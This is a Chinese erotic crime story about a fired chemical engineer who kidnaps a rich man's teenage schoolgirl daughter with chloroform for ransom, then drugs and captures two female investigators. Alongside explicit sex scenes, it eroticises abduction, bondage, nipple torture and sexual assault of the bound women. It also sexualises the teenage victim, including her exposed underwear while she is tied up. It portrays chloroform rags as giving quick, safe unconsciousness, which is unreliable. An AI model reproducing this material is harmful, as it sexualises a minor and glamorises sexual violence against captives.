图片载入中

【密室】(完)

特大字】 【大字】 【中字】 【小字

【密室】(完)

【作者:Verbatim】

*** *** *** ***

一、罪行

蒂娜?周(TinaChow)——漂亮的日美混血女孩,富商的女儿——不耐烦地站在本市最高级的私立女子学校校门前。她的同学也都是富人的孩子,其中99%的人和她一样娇生惯养,一样对长期因工作繁忙而忽视她们的双亲心怀不满。

‘那个白痴到哪去了?’蒂娜大声诅咒着每天用豪华轿车接送她的司机。当她的朋友一个一个都被接回家之后,她彻底地绝望了。

银灰色的加长轿车终于穿过校门驶上长长的弧形车道,此时的蒂娜早已怒不可遏。

轿车在蒂娜身前停了下来,司机下车打开车门等她上车。

‘杜德利(Dudley)呢?’蒂娜大声嚷道,‘你太晚了!’‘对不起,小姐。’陌生的司机道,‘杜德利今天生病了,我一个小时前才接到他的电话,放下电话就用最快的速度赶来了。’蒂娜上车前犹豫了一下。她的父母曾多次警告过她,要对陌生人保持戒心,由于她富有的父亲,她成了一个很诱人的绑架对象。但是蒂娜想起了她的计划:尽快回到家,脱下身上的校服换上一些贴身而性感的衣服,把她的小男友叫来,在她父母回家之前好好乐上一阵子。

蒂娜坐进轿车的后排座位,收起她的CD随身听和耳机塞进书包,然后把书包扔到地板上。从这里在她家的别墅有三十分钟的路程,她可以好好地放松一下。 昨天晚上她一直在网上聊天,很晚才休息。一个长长的哈欠之后,蒂娜闭上眼睛很快便进入了梦乡。

豪华轿车行驶在凹凸不平的路面上,平时非常平稳的轿车上下颠簸着。蒂娜从睡梦中醒了过来,她向车窗外看去,道路两边除了枝叶茂盛的树木之外什么也看不到,很明显这不是回家的路。

‘这到底是……’蒂娜冲着司机的叫道,根本没有意识到自己已经被绑架了,‘喂,你这个蠢货!你是不是迷路了?’司机擡起头看了看后视镜,墨镜后面的眼睛注视着镜子里焦躁不安的女孩。

‘真是受过良好教育的一张嘴呀。’司机道,‘在我的印象中年轻的东方女士都是非常有教养的。’‘不管怎样!’蒂娜收起几分盛气凌人的架势,稍稍缓和了一下口气道,‘你认为我们这里往哪开呢?’‘到我的密室。’司机若无其事地答道。

一股寒意顺着蒂娜的嵴柱迅速升起,最初的第一感是对的,她真希望当时没有坐上这部轿车,可是现在一切都晚了。她颤声道:“上帝呀。‘豪华轿车在一条已经荒废的道路边停了下来。蒂娜想从车上逃走,可是自动车锁将她锁在车里。她试图做点什么,一把抓起后排座位上的电话拨着号码,但电话根本没有信号。 ‘抱歉,宝贝。’那个司机站在门外道,‘这些地方我已经处理过了。’蒂娜有些好奇地看着那个司机从口袋里掏出一个瓶子和一块白布,他从瓶中倒出一些液体将布浸湿。她非常害怕,虽然不知道这是什么,但肯定不是什么好事。她突然想起曾经看过一部关于一个女人被绑架的电影,绑架者就是用类似的东西对付那个女人的。

蒂娜瞪着双眼惊恐地看着那个司机用电子遥控器打开车锁,伸手拉开车门,她浑身颤抖着哭了起来。

那个男人钻进轿车后排车厢试图抓住蒂娜,她身体蜷缩成一团拼命向后退缩,一边躲避着那个男人一边快速弹踢着双腿。她一脚踢在绑架者握住瓶子的手腕上,瓶子飞了出去撞到车门上碎了,浓烈的化学药剂的气味充满了后排车厢。

‘该死!’男人怒?道,迅速捂住口鼻退了出来,刺鼻的气体熏得他一时睁不开眼。蒂娜抓住这个机会,屏住唿吸跳出轿车向路边跑去。

绑架者在身后紧紧追赶,但蒂娜跑得很快,两人已经拉开了一段距离。可是不幸的蒂娜过于惊慌,双脚绊到一起失去了平衡,一头倒向路边一条积满落叶的沟里,鲜艳的花格裙和柔软洁白的双腿甩向空中。

男人赶了上来,跳进沟里骑在不停尖叫的女孩身上,用一只手抓住她的两个手腕,另一只手将浸满麻醉剂的湿布捂住她的口鼻。

‘唔!啊——唔!’蒂娜试图尖叫,但浓烈的麻醉剂气味随着她的拼命挣扎侵入她的肺部,在这强力的化学药品的作用下,眩晕、恶心、无力的感觉迅速笼罩她的身体,她的挣扎越来越弱,终于全身变软不再反抗。

男人大口喘息着站起身,看着身下不省人事的女孩。蒂娜?周,那个应对他失去一切负责的男人的女儿,现在是该让那个婊子养的家伙加倍补偿的时候了。 他伸手抓起蒂娜,这女孩身体很轻,只有90磅左右,他毫不费力地把她扛在肩膀上向树林深处走去,他的旅行车就停在离这里不远的地方。他来到旅行车边上,打开车后门,将女孩放在旅行车后厢的简易床上,自己也钻进车厢。 他拿出一条白色的尼龙绳,将这个漂亮女孩的双手绑在身后,然后把她的小腿交叉成十字形,用预先留好的较长的一端绳子捆住,向后收紧把手脚拢到一起绑好。女孩柔软的身体变成了一张弓形,露出了薄薄的白色棉质内裤。

他仔细检查了一下每个绳结,确信没有任何松动,一边赞叹着自己的作品,一边拿出刚刚将她迷倒的布用力甩了几下,好让麻醉剂的气味淡一些,然后将这块布拧成一股绳绑在仍然昏迷不醒的俘虏嘴上。终于感到满意之后,他下车清理了一下现场,大概要过一两天的时间才可能有人发现这辆豪华轿车,到那时他早就远走高飞了。

他离开了现场,并留下了一条重要的线索:那个被打碎的麻醉剂瓶子。

================================== 二、调查

蒂芬妮?斯沃罗斯从睡梦中醒来,一只手正在她的乳房上游走,手指不停地来回挑逗她的两个乳头。这是她的男友——文森特(Vincent)的爱抚,唤醒她准备开始他们每天早上惯常的性爱游戏。她低声呻吟着,身体有点疲惫,还没有从昨晚那场马拉松式的性爱中恢复过来。

蒂芬妮慵懒地看了看表,不由得吸了口冷气——已经太晚了,很快她的搭档就会来到她的家里,把她从床上拎起来的。她们每天都会有不同的案件需要调查,因为她们是公众安全调查局探员,她们是SBI!

蒂芬妮试图将她的男友推开,但是他抓住她的手腕又把她拉回他的身边。 ‘你要去哪儿?’文森特问道。

‘我迟到了!’蒂芬妮道,‘切西随时都会进来把我从床上揪起来的。’‘她会等你的。’文森特道,温柔地亲吻着蒂芬妮漂亮乳房上那敏感的乳头,‘这用不了多长时间。’‘你总是这么说。’蒂芬妮满眼笑意地抱怨道。

‘来吧,宝贝。’文森特恳求着,把手伸到她的双腿之间挑逗着,他清楚地知道她身上的每一处性感区域。

蒂芬妮闭上双眼呻吟着,他的爱抚使她的身体开始融化,就算再晚她也无法抗拒这种诱惑,她终于还是温顺地答应道:“好吧,不过你得快一点。‘’你先开个头吧。‘文森特微笑道,’这样我会做得更好一些。‘蒂芬妮白了他一眼道:”行了吧,文森特,那样时间就太长了。’‘来吧。’文森特道,‘一下就好。’‘好吧。’蒂芬妮叹道,身体向下移去,面对着他跨下的突起物,一张嘴就可以含住它。

‘或许可以用嘴让他尽快达到高潮,然后就可以抓紧时间收拾收拾去上班了。’蒂芬妮想着,用手握住文森特肉棒的根部,张开她诱人的双唇将它含了进去。 文森特看着她丰满的双唇包裹住他的肉棒上下套弄。

他喜欢看她这样,每当她将他的肉棒全部含住的时候,那性感的嘴唇总是向外撅起,非常诱人。她的舌头绕着他的肉棒来回旋转,他闭上眼睛叹息着、呻吟着,把手伸进她柔软的红发里轻轻抓住,这样可以体验到她的头一起一伏的动作。 他另一只手抚摸着她的面颊,隔着一层肉感觉自己的肉棒在里面进进出出。 他特别喜欢在她吸着他的肉棒向外抽的时候,把手指送到她的嘴边,这样当她将他的肉棒吐出来,再含进去前会时不时地用舌头舔他的手指,就象舔他的龟头一样。

文森特早晨常常会坚持很长时间,蒂芬妮知道只是用嘴无法让他完事,可是每次她想擡起头离开的时候,文森特就会把她推回去,让她继续吸吮他的肉棒。 一声汽车喇叭声从房间外面传进来,她的搭档切西真的来了。

蒂芬妮嘴里含混不清地嘟囔着试图爬起来,可是文森特牢牢地控制住她的头。经过一番挣扎,她终于摆脱了文森特的肉棒,她恳求道:“文森特,切西来了,我得去梳洗准备一下。‘’好吧,不过我们得把这事做完,快点骑到我身上来。‘文森特命令道。

‘文森特!’蒂芬妮抱怨道。

‘来吧,很快就好,我保证。’文森特道。

蒂芬妮知道再说也没有用,她慌慌张张地爬到他身上握住他的肉棒坐了下去,开始上下摇晃身体,他则悠闲地把她那对成熟饱满的乳房抓在手里恣意捏揉起来。 文森特知道蒂芬妮非常着急,不过他可一点也不。他任由蒂芬妮一个人努力,自己则放松身体躺在那里看着她越来越兴奋地扭动身体,两只乳房剧烈地来回晃动。

门铃响了起来。

‘来吧,宝贝。’蒂芬妮俯下身有点失望地恳求道,‘求你了,快点!’‘我来了!’文森特知道这时不能再悠闲下去了,他用力摆腰开始向上冲击。 文森特的动作令蒂芬妮的身体开始颤抖,她一边呻吟着一边加快自己身体晃动的节奏,文森特也开始不顾一切地猛烈抽插。伴随着肉棒强力地喷发,两个人几乎同时达到了高潮,粗重的呻吟和蒂芬妮兴奋的尖叫几乎盖住了门外的敲门声。 蒂芬妮从高潮中恢复过来,飞快地从文森特身上爬起来冲进了盥洗室。她迅速打开淋浴,一边冲洗一边大声嘱咐道:“把门打开让她先进来,跟她说我再过十五分钟就好了。‘’好的。‘文森特懒洋洋地答道,还没有从刚才的兴奋和疲劳中恢复过来。

很快,门外又传来更频繁的门铃声和敲门声。文森特慢吞吞地从床上爬起来,抓起一条短裤穿上,不紧不慢地向门口走去。

切西已经开始砸门了。

文森特终于把门打开,他站在门口打量着他女友的搭档。

切西?摩根个子很高,浅褐色的头发,洁白的脸蛋上只化了很淡的妆。这是一个相貌出众、颇有魅力的女人,做工考究的西装穿在她健康匀称的身上非常合身,丝毫看不出衣服里包裹的是有着强健肌肉的身体。她虽然比不上一个强壮的建筑工人,不过对一般人而言她算得上是非常健壮的了。

文森特一直觉得切西是个同性恋,他知道她讨厌他,不过这一点反而令他觉得非常愉快。

在门口僵持了好长一会,文森特才把切西让进屋。

‘请进吧。’文森特一边说一边走进厨房,‘我刚才差点把蒂芬妮干得灵魂出窍,这会她在梳洗,过一会就好。’切西?摩根走进她搭档的房子,文森特说的这番话令她一脸不快。看着正在厨房里为他自己准备饮品的文森特,切西暗暗骂道:“真是一个怪物。‘她根本无法理解文森特的行为,蒂芬妮怎么会看上他呢?这样一个粗鲁、令人厌恶,总是说一些不合时宜的话的小混混。

切西双手交叉抱在胸前,不耐烦地靠在门口等待她的搭档。

文森特回到起居室坐在睡椅上,品尝着杯子里的橙汁。

‘那么,到底又有什么惊天大案要你们去破呢?’文森特用嘲讽的口气问道。 ‘不关你的事。’切西道,她把目光投向别处,不想和他有任何形式的接触。 又过了好一会,文森特终于又开口道:“我知道你一直对蒂芬妮有意思。‘切西嘴角向下撇了撇道:”什么?’‘不用否认了。’文森特道,‘我见过你看她时的目光,你的眼睛说明了一切。’‘我不明白你到底在说些什么。’切西有点激动道。

‘嗨,我不是在责备你。’文森特微笑道,嘴角向上扬起,‘她太迷人了,我是说看看她吧,美妙的身体、漂亮的奶头、修长的大腿,还有那张性感的嘴。 ‘切西怒视着他没有作声。

‘我只是想让你知道,她喜欢肉棒……非常喜欢。’文森特嘲弄道,‘她喜欢它从前面干她,从侧面干她,从上面干她,她还喜欢它插到她的嘴里。’‘住嘴!你这个变态的杂种!’切西回击道,‘你是不是……’‘所以不要再打她什么主意了。’文森特打断她道。

‘是什么让你觉得我是同性恋?’切西质问道。

‘嗨,我一点也不排斥同性恋,我喜欢同性恋者。’文森特嘲笑道,‘其实如果你能对我态度好一点,我可以试着和蒂芬妮说说,看看她是否同意在我生日的时候,咱们三个来一场三人大战。这样你至少可以拥有她一个晚上,虽然那时候我会在一边看着你们,不过我不介意,甚至可以和你干一场,我还会让你用嘴尝尝我的肉棒的滋味,那样你就会明白你原来错过些什么了。’‘你的嘴就象个屁眼!’看着文森特咧开嘴冲她笑的样子,切西心里厌恶透了。

这时蒂芬妮走了进来,一边整理着的头发,一边拿起她的东西道:“我收拾好了,走吧。‘文森特站起身和蒂芬妮互道’再见‘,他把她搂在怀里长时间地吻着,把舌头伸到她的嘴里,手伸进她宽松的休闲裤里抚摸着她结实的屁股。切西摇摇头把脸扭向别处,文森特睁开一只眼越过蒂芬妮的肩膀看着切西,挑衅般地冲她眨眨眼,然后放开蒂芬妮。

切西以最快的速度走出房门,蒂芬妮紧跟在她身后。文森特站在门口冲她们道:“到外面小心一点,姑娘们。‘蒂芬妮刚坐进车里,切西便发动了这辆红色野马车的涡轮引擎,然后一脚将油门踩到底,汽车冲了出去,现场只留下一片飞扬的灰尘。

‘放轻松一点,切西。’蒂芬妮勿忙地系好安全带。

‘你晚了。’切西抱怨道。

‘对不起。’蒂芬妮道歉道,‘我也无能为力。’汽车继续向前行驶,两个人都默不作声,蒂芬妮不愿意两人之间这种紧张状态持续下去,她问切西道:“有什么问题吗?‘’你对那个怪物有什么看法?‘切西用一种受到挫折的语气问道。

‘你是什么意思?’蒂芬妮有点震惊道,‘文森特非常出色呀!’‘他是个令人讨厌的家伙!’切西的反应非常激烈。

‘你只是不了解他罢了。’蒂芬妮维护着她的男友,‘他真的是非常可爱。 ‘’是啊,真不错!‘切西嘲笑道,’看看他整天都在干些什么?‘’我和你说过,他是个作家。‘蒂芬妮道,’他为互联网上的一些公司或网站写稿。‘’他是个失败者。‘切西嘟囔道。

‘嗯,我们的目的地是哪里?’蒂芬妮问道,想改变一下话题。

‘我们要到一家化工厂和那里的经理谈谈。’切西道,开始介绍起这件案子的情况,一个十几岁的女孩被绑架了,这个女孩的父亲叫托马斯?周(ThomasChow)——一个富有的日本商人,Ethercom公司的CEO,也是这家化工厂的所有者。

切西扫了蒂芬妮一眼,她看出来蒂芬妮仍然在为她说的那些关于文森特的话感到烦恼,过了一会她继续道:“抱歉,不过我说那些话也是为了你好,你应该有一个真正关心、照顾你的情人。‘切西并没有意识到她说的这些话使蒂芬妮感到非常不舒服,甚至有几分生气。

‘嗯,我们能不能说点其它的。’切西觉察到她的搭档有些烦躁,于是她开始讨论起她们正在处理的这件案子,直到她们来到这家位于城市工业区的Ethercom化学品公司下属的化工厂。在案发现场发现了那个被打碎的瓶子,经过鉴定里面残留有名为氯仿的麻醉剂,瓶子上的商品标签显示这是由这家化工厂生产的产品。

她们会见了这家工厂的经理,并要求他提供能接触这种受控药剂的人员名单。在经理所提供的六个人的名单里,一个名叫斯坦顿?科诺多夫(StantonKnodoff)的男子引起了她们的注意,此人曾经是这家工厂的雇员,一年前被解雇。蒂芬妮和切西都认为应立即调查一下这个男人,她们在谢过那位经理之后离开了工厂。

在去科诺多夫住处的路上,她们一直在讨论他被Ethercom公司解雇一事的情况。

斯坦顿在Ethercom公司工作了二十多年,是一个资历很深的化学工程师,在被开除前他发明了一种新药剂,并要求获得该产品的专利权和相应的其它权利,由此引发了与Ethercom公司的一场激烈的法律纠纷,在这之后他便被解雇了。

Ethercom的律师认为,所有公司雇员发明的化学药剂,都应被视为职务发明,公司拥有发明的一切相关权利,包括未来从市场中所获得的商业利润。官司打到一半Ethercom公司曾经提出过庭外和解,但科诺多夫提出的和解条件最终被他的上司拒绝了,因为他的上司认为他的要价太高。最终科诺多夫在失去了这场官司的同时,也丢掉他在Ethercom公司的工作。

当法庭作出对Ethercom公司有利的裁决时,科诺多夫当庭侮骂并恐吓了Ethercom公司的CEO托马斯?周,因此被判藐视法庭入狱10天。 蒂芬妮和切西按照Ethercom公司提供的科诺多夫的地址,一路驱车来到城外,周围已经是一片荒凉。她们来到一个路口,前面是一条乡间公路和两条不算宽阔的州际公路。她们驶上了其中的一条路,道路两边全是茂密的灌木和树林,路看起来就像是没有尽头一样。正在切西怀疑她们是不是是搞错了方向的时候,一座房子出现在前方不远的地方。

野马车停在房子前,蒂芬妮和切西从车里走出来。这座房子死气沈沈的,看起来不像是有人居住的样子。房子后面是茂密的树林,阴森森的透出一丝不详之气。蒂芬妮和切西小心翼翼地向房门走去,微微侧着身体保持随时可以拔枪的姿态。

她们来到房门前,按了按门铃,希望能有人回答,但房子里什么声音也没有。切西走到一边的窗户前向里望去,阴暗的房间里看不出有人的迹象。

蒂芬妮对切西道:“我到后面四处检查一下,你在这里等着看有没有人来。 ‘切西点点头,站在原地警惕地注视着周围的情况。

蒂芬妮来到房子后面,从后门向里望去。和前面看到的情况一样,阴暗的厨房里没有任何动静。她转过身向四周望去,注意到房子的一侧有两个车库,其中靠近房子的那个车库的门微微开着。她慢慢走了过去,并没有想起叫上她的搭档。 她走到门前用手肘将门轻轻推开,喊道:“有人吗?‘在这个屋子里还有一扇门,从门的下缘隐隐透出一线光亮,蒂芬妮走了过去握住门把手打开门。这是一个小房间,一个十几岁的东方女孩躺在床上,她身上穿着一身私立学校的校服,花格短裙、白色制服上衣、短袜和运动鞋。令蒂芬妮震惊的是这个女孩的手脚都被绑在床两头的栏杆上,嘴也被塞住。

看起来这个女孩像是睡着了。

‘嗨!你还好吗?’蒂芬妮冲这个女孩喊道。女孩睁开眼睛,似乎还有些不太清醒。蒂芬妮立刻认出来,她就是蒂娜?周,那个她们正在寻找的被绑架的女孩。这位年轻漂亮的女孩明亮的褐色眼睛闪动着惊奇和欣喜的目光,随即这目光变得非常惊恐,与此同时蒂芬妮听到身后传来一些声响。

蒂芬妮立刻明白她犯了一个致命的错误——在进入这个车库之前没有唿叫切 西来支援。一块厚布捂在她的脸上,浓烈的气味冲进她的鼻孔。那块布死死地盖住她的口鼻,她根本没办法唿吸,她想大声叫喊,却只发出含混不清的低语:“呜……唔……!‘’就是这样。‘一个声音从她身后传来,她的身体被人用胳膊牢牢抱住,’把它吸进去,好样的,宝贝。‘蒂芬妮想起她学过的自卫技能,如果能够挣脱出来,她就可以与身后的攻击者搏斗,可是那气味迅速冲进她的大脑,她突然感到强烈的恶心、眩晕、无力,身体逐渐变软。用浸透氯仿的湿布蒙住她口鼻的男人知道她已经失去了反抗能力,慢慢把她的身体放倒在地板上。 那个男人——斯坦顿?科诺多夫把蒂芬妮的左轮枪从枪套里抽走,然后掏出她的证件翻看着。

‘不错,不错,SBI,蒂芬妮?斯沃罗斯。’斯坦顿愉快道,他俯下身伸出戴着橡皮手套的手,用手指轻轻抚摸着她丰满的嘴唇,‘唔,非常迷人,我打赌你一定会的。’斯坦顿从旁边的一个架子上拿起一团白色尼龙绳,在蒂娜惊异的目光下,他迅速地用一系列复杂的捆绑手法,将蒂芬妮的手腕和脚踝绑在身后,然后从身上抽出一条皮带,对折一下之后把他这位新来的俘虏的嘴牢牢扎住。 他直起身眨着眼睛看了看蒂娜,微笑道:“抓住了一个,还剩下一个。‘当蒂娜开始哭泣的时候,斯坦顿走出房间把门锁上,把绝望的蒂娜和躺在地上不醒人事的蒂芬妮留在那里。

在房子前面等待的切西有些不耐烦了,她唿叫她的搭档:“你那边发生什么事了?‘没有任何答复,切西感到一丝不安,她正想拔枪的时候一个男人声音从房子一侧传了过来:”请不要动。’切西转过身看到斯坦顿?科诺多夫站在门廊的尽头,手里握着蒂芬妮的手枪,命令道:“把你的枪拔出来,慢慢地放在地板上。‘切西知道蒂芬妮一定是出了什么事,她默不作声地照科诺多夫的命令把枪放在上,然后开口道:”我是SBI,你就是斯坦顿?科诺多夫吗?’‘是我,我也知道你是SBI,我已经见过你那位可爱的同伴了。’斯坦顿笑道,‘你们的到来令我非常惊奇,我没有想到SBI还有这么迷人的特工。现在,请把双手手指交叉握在一起放在头顶,然后向后退几步,离你的枪远一点。’‘我的同伴在哪里?’当斯坦顿向她走过来的时候,切西向后退了几步问道。

‘她全身都被绑得结结实实的。’斯坦顿咯咯笑道,‘抱歉,我根本无法抵御那种诱惑。现在请你全身放松转过身去。’‘你知道你这样是跑不掉的,不是吗?’切西道,她可以听到自己的心脏剧烈跳动的声音,她在等待他发出的最后一击,或者是在后脑,或者是直接开枪。

幸运的是,他看起来并不想杀人,他似乎有了另一个方案,虽然这个方案看起来有些复杂曲折。

当切西背对他的时候,斯坦顿把枪换到左手,从衣袋里抽出一块布,用握枪的手捏住它,然后又从衣袋里掏出一个塑料瓶,把强力氯仿倒在布上。这东西是他自制的,比原来的类似药剂有效得多,可以很快将一个人迷倒,而且不会产生太大的副作用。

斯坦顿把塑料瓶重新放回衣袋,拿着那块布来到紧张不安的切西身后。从她双手举过头顶时背部衣服紧绷的形状可以看出,这是一个非常强壮危险的对手。 他把枪口顶在她的后颈上,说道:“你现在是我的了。‘被这些话激怒的切西突然爆发,她迅捷地一转身将顶住她的枪撞到一边,枪声响起,子弹射在房子一侧的墙壁上。斯坦顿想向后退拉开距离,但切西迅速跟进一拳正打在他的下巴上。斯坦顿倒在地上,切西扑了上去把他压在身下。她试图把他按在地板上,但他绝望而拼命地挣扎着,把切西推向一边,一翻身压在她的身上。切西立即擡起强有力的双腿缠在他腰间用力收紧,同时双手抓住他的胳膊。

斯坦顿大声呻吟着,来自腰部的巨大压力让他觉得自己就要被挤成两截了。 突然他发现那块浸满氯仿的布还牢牢地抓在他的手上,他把布用力捂在切西的脸上。切西的眼睛猛地睁大,令人痛苦的气味冲进她的肺部,她就象头部遭到重击一样,眩晕和无力很快笼罩她的全身。

切西‘唔……呜……’的叫喊着,试图把那块布抢走,但是斯坦顿死死地抓住那块布,更加用力地向下按,切西彻底地窒息了。

来自腰间的巨大压力逐渐减弱,斯坦顿放下心来。

‘真是个好姑娘。’斯坦顿道,他看着她的眼睛来回转动,快速地眨着眼睛,最后又发出了几声‘呜……唔……’的呻吟之后,昏迷了过去。

斯坦顿花了好几分钟才恢复了正常的唿吸,他站起身看着躺在地上的又一位新俘虏。他喜欢这个与他奋力搏斗的女人,她的反抗会令他更加兴奋。不过现在首先要做的事,是把她和她的同伴带到他的密室,在更多的SBI到这里调查之前把她们的车藏起来,他还要修补一下那个弹孔。

三、密室

切西?摩根苏醒过来,又过了好几分钟的时间她的感觉才完全恢复,那令她昏迷过去的强力药剂的效力还没有完全消散,她的头仍然很疼,还有一些轻微的恶心。

她试图移动一下胳膊,但是它们被人用平时对付暴徒的皮制锁具牢牢固定住,甚至连她的脚踝也被交叉捆绑在一起。当她发觉自己腰部以下的身体是一丝不挂的时候,脸顿时红了起来。她能感觉到皮制锁具紧紧箍在她的双腿之间,将她结实的屁股勒得更加突出。

她慢慢地环顾四周,这个房间的墙是用石块砌筑的,似乎在石头上还刻有图案,屋子一角是一扇钢制的门。

切西想大声唿喊,但是她的嘴被人用胶带紧紧封住,她试着动了动嘴唇,没有任何作用,胶带被封得非常结实。她的双臂被扭到背后用皮手铐铐住,从天花板引出一条铁链,铁链的一端勾在手铐上把她吊在半空中,另一端通过固定在天花板的一个滑轮,连接到屋子角落里的一个绞盘上,摇动绞盘曲柄就可以把她吊起或放下。

被吊在半空的切西全身重量都集中到铐在身后的胳膊上,随着时间的推移,胳膊逐渐从酸麻变成刺痛,终于切西开始痛苦的呻吟起来,她希望引起其他人的注意,至于这种注意会不会带来更多的折磨,她已经顿不了这么多了。

‘唔——!呜——唔——!’切西透过被胶带封死的嘴喊叫着。

过了一会,切西听到开启门锁的声音。钢制的屋门打开了,令人厌恶的斯坦顿?科诺多夫走了进来。

‘怎么样,你的新居还不错吧。’斯坦顿嘲笑道,‘我希望它能合你的意。 ‘切西扭动身体怒视着他。

斯坦顿踱着碎步走过来,几乎要贴在切西的身上,她摆动双腿试图踢他,但他很轻松地躲开她的攻击,用一只手抓住她被绑在一起的脚踝,另一只手调戏似的抽打着她赤裸的屁股,随后抓住她的一个臀丘用力挤捏着。

切西痛苦地扭动着身体,尖叫道:“啊——唔!‘’这屁股太迷人了!‘斯坦顿评价道,’你的身材保持得相当出色。我想你心里也清楚,给你换上这套新的装束的时候,我把你这诱人的身体从上到下好好欣赏了一遍。‘男人的话令切西满脸通红,她真想把他撕成碎片:他怎么敢对我做这种事!

等我可以自由行动之后,一定要好好教训一下这个怯懦的杂种!

切西愤怒地尖叫着、咆哮着,透过胶带只发出‘呃——唔——呜!’的声音。 斯坦顿又调戏了这位女特工一番,然后悠闲地走到屋子的角落里,转动摇把将切西的身体向下放,让她变成跪在地上的姿势。他走到她身边,把勾在她胳膊上的铁链解开,重新固定在套住她脖子的颈圈上,随后回到墙角把铁链向上收紧,直到切西刚好能直挺挺地跪在地上。这样她就不得不一直保持这种挺拔的姿势,稍稍一泄劲或者身体一歪,脖子上就会传来窒息的感觉。

斯坦顿重新回到这位无助的俘虏面前,微笑道:“就是这样,我喜欢你现在这种姿势——恭顺,几乎称得上虔诚,这绝对是最佳的姿势,你说呢?‘切西的眼睛闪动着愤怒和厌恶的光芒,她现在唯一想要做的就是干掉眼前这个病态的家伙。

‘好了,让我们把这个胶带撕掉,好吗?’斯坦顿一边说一边伸手揭开胶带的一角,故意用很慢的速度把它撕下来。胶带被揭开时发出长长的声响,面部传来的刺痛令切西一脸痛苦地叫出声来:“哦!啊——!‘当他把最后一小片胶带撕掉之后,切西长长出了一口气,这该死的东西终于不见了,她感到一阵轻松。可是这种轻松的感觉没有持续多久,当她看见斯坦顿开始脱他的裤子时,切西惊恐地想:”哦,上帝呀!不要这样。’她试图把脸扭向一边,可是颈圈和铁链紧紧束缚住她,她根本动弹不得,反而差一点失去了平衡。肿胀丑陋的肉棒直挺挺地在她面前晃动,切西怨毒地瞪着他道:“如果你把这东西塞到我的嘴里,我会让你后悔一辈子的。‘斯坦顿大笑道:”亲爱的,我做梦也没有想过让你做一些你不愿意做的事,你说的那件事我们会有机会做的,但不是现在。’切西起初对他的话感到有些困惑,可是当她看到斯坦顿开始用手套弄肉棒时,立即觉得无比地恶心。她知道他想做什么,可是对此毫无办法。

斯坦顿在切西漂亮的脸蛋前用力套弄着自己的肉棒,过了几分钟突然伸出一只手用力抓住她浅褐色的头发,牢牢地控制住她的头,怒胀的肉棒开始喷射出浓稠的乳白色液体。他继续快速套弄着肉棒,精液一波一波打在她的脸上,嘴唇上、面颊上、鼻子上,到处都溅满了精液。

切西闭上眼睛,紧绷住嘴唇,但是斯坦顿用力撕扯她的头发,剧烈的疼痛令她不由自主地尖叫,一股精液直直地射进她刚刚张开的嘴里,令人恶心的粘液使她有些窒息,她闭上眼睛想扭头挣开他的控制,但是他用力抓住她的头发,另一只手握住那还在跳动的肉棒顶在她柔软的面颊上来回涂抹,将她脸上的粘液涂满她的嘴唇。

‘呃——哦!’切西呻吟着,脸上的精液慢慢向下流淌,头发被用力撕扯的痛苦,以及大量的粘液顺着面颊缓缓向下流淌的恶心感觉令她难以承受。

斯坦顿将最后一波精液射在她的头发上,长长地叹息了一声,松开手里握着的切西的头发,感到通体舒泰。

切西拼命来回摇着头,想尽可能地将脸上的精液甩掉,可是这些粘液大部分还留在她的脸上,有些已经顺着她的脖颈流到胸前,她感到前所未有的恶心。 ‘就在这个地方。’斯坦顿得意道,‘你的身上已经留下了我的记号,现在你就正式地成为我的性玩具了。’‘操你!’切西怒?道。

‘是的。’斯坦顿笑道,‘用不了多久你就会经常这么做了,我保证。’斯坦顿走到绞盘旁边,切西一想到他又要把她吊起来,就不由自主地呻吟起来。可是实际上他却是继续放下吊链,直到她躺到地板上。

切西开始来回扭动身体,虽然她知道这么做一点用处也没有,她看到斯坦顿拿出一块白布将氯仿倒在上面,不由瞪大双眼。

‘哦,不!不要再这样了。’她皱紧眉头惊恐地想着。

‘等一下!请不要这么做!’当斯坦顿弯下腰向她逼近的时候,切西恳求道。 ‘抱歉,不过我现在已经有了一个新的方案,而且我觉得你睡着的时候更安全一些。’斯坦顿解释道,‘此外,我也喜欢听你乞求的话语。’‘你这个该死的杂种!’切西大叫道,随后浸透了氯仿的布料便蒙住了她的口鼻,‘住手!不要!唔——唔!’很快那熟悉的气味和感觉再一次令切西昏迷过去。

================================== 四、蒂芬妮的痛苦

当斯坦顿走进关押蒂芬妮的房间时,她早已经苏醒过来,用警惕的目光看着他。

在这之前,蒂芬妮一个人被关在屋子里的时候,已经绝望地接受了自己目前这种无助而狼狈的处境——全身赤裸被一大堆绳子捆绑成一个奇怪的姿势,想移动一下身体都不行,胳膊、手腕、肘部、膝盖、脚踝和腰部,所有能移动的部位都被绑得紧紧的,甚至那对丰满的乳房也被白色尼龙绳从根部紧紧勒住,惊人的突出来看着就象要撑爆了一样。

蒂芬妮被放在一张离地很高的桌子上,小腿向后弯曲着压在身下,脚后跟紧贴着大腿,膝盖被拉开分向两边,胳膊直直地靠在身体两侧,手腕被缠绕在大腿根部的绳子捆住。她的头和肩膀靠在桌面上支撑上半身的重量,腰部则尽力向上拱起,整个身体形成为绷紧的弓形,之所以保持这个极度扭曲的姿势,原因是一对小夹子。

这对夹子夹在她挺立的两个乳头上,夹子上连着两条从天花板上垂下来的细细锁链,锁链被拉得很紧,以致于蒂芬妮稍稍改变一下现在的姿势,就会拉动链条和夹子,给她娇嫩的乳头带来强烈的刺痛。

蒂芬妮不安地看着斯坦顿?科诺多夫来到桌子旁边。

斯坦顿愉快地看着这位漂亮的俘虏一边微微呻吟和喘息,一边扭动身体试图找到一个不那么难受的姿势。他并没有塞住她的嘴,而她也没有试图唿救,对此斯坦顿也感到有点惊奇。

‘你好,蒂芬妮。’斯坦顿咧开嘴笑道。

‘这样子真的是很痛苦!’蒂芬妮痛苦道,‘你能不能放开我。’‘我想现在还不行。’斯坦顿用一种近似于道歉的语气道,‘在这之前我们还有一些事要做。’‘比如说?’蒂芬妮有点惊慌道。

‘你也看到了。’斯坦顿从旁边拉过一把椅子坐了下来,‘我想你应该知道我为什么要绑架年轻的蒂娜?周了吧。’‘很明显……哦!’夹子上传来的刺痛令蒂芬妮吸了口气,她重新挺起疲惫的腰肢,‘你想通过她获得一笔赎金,你被Ethercom公司解雇了,因此你要向她的父亲报复。’‘完全正确。’斯坦顿道,‘十万美元的赎金将补偿我在发明专利权方面的损失,可能这个发明值更多的钱,不过我并不是一个贪婪的人。’‘你知道你是不能……唔……是逃不掉的。’蒂芬妮抗争道。

